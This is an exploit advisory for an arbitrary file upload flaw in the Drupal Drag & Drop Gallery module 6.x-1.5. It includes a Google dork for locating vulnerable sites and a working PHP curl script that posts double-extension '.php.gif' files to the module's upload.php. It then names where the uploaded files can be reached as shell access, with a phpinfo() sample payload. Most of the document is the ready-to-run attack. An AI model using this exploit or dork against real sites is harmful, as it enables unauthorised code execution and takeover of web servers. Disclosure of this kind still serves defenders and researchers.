##################################################
# Description : Drupal Modules - Drag & Drop Gallery Arbitrary File Upload Vulnerability
# Version : 6.x-1.5
# link : http://drupal.org/project/dragdrop_gallery
# Software : http://ftp.drupal.org/files/projects/dragdrop_gallery-6.x-1.5.tar.gz
# Date : 23-06-2012
# Google Dork : inurl:/sites/all/modules/dragdrop_gallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="db.php.gif";
$uploadfile2="lo.php.gif";

$ch = curl_init("http://localhost/drupal/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('user_file[0]'=>"@$uploadfile",
                                            'user_file[1]'=>"@$uploadfile2"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://localhost/drupal/sites/all/modules/dragdrop_gallery/ lo.php.gif db.php.gif
Filename : $postResult output

lo.php
<?php
phpinfo();
?>

Intégrateur de solutions open source et de logiciels libres en entreprise.